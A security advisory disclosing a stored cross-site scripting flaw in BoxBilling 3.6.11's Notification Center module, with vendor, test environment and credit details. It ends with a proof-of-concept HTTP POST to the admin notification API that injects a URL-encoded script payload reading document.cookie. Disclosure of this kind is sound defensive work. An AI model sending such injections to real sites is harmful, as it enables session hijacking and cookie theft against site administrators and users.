BoxBilling 3.6.11 (mod_notification) Stored Cross-Site Scripting Vulnerability


Vendor: BoxBilling
Product web page: http://www.boxbilling.com
Affected version: 3.6.11 (mod_notification 1.0.0)

Summary: BoxBilling is a free billing, invoicing & client management software.

Desc: BoxBilling suffers from a stored cross-site scripting vulnerability.
Input passed to the 'message' POST parameter thru the 'Notification Center'
extension/module is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5163
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5163.php


05.12.2013

--


POST /boxbilling/index.php/api/admin/notification/add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/boxbilling/bb-admin.php/notification
Content-Length: 66
Cookie: BOXADMR=e%3DZ2pva29AemVyb3NjaWVuY2UubWs%3D%26p%3DZDAzM2UyMmFlMzQ4YWViNTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5Nw%3D%3D; BOXSID=gsbhumqgrjja1hrei31v3uc4m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

message=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E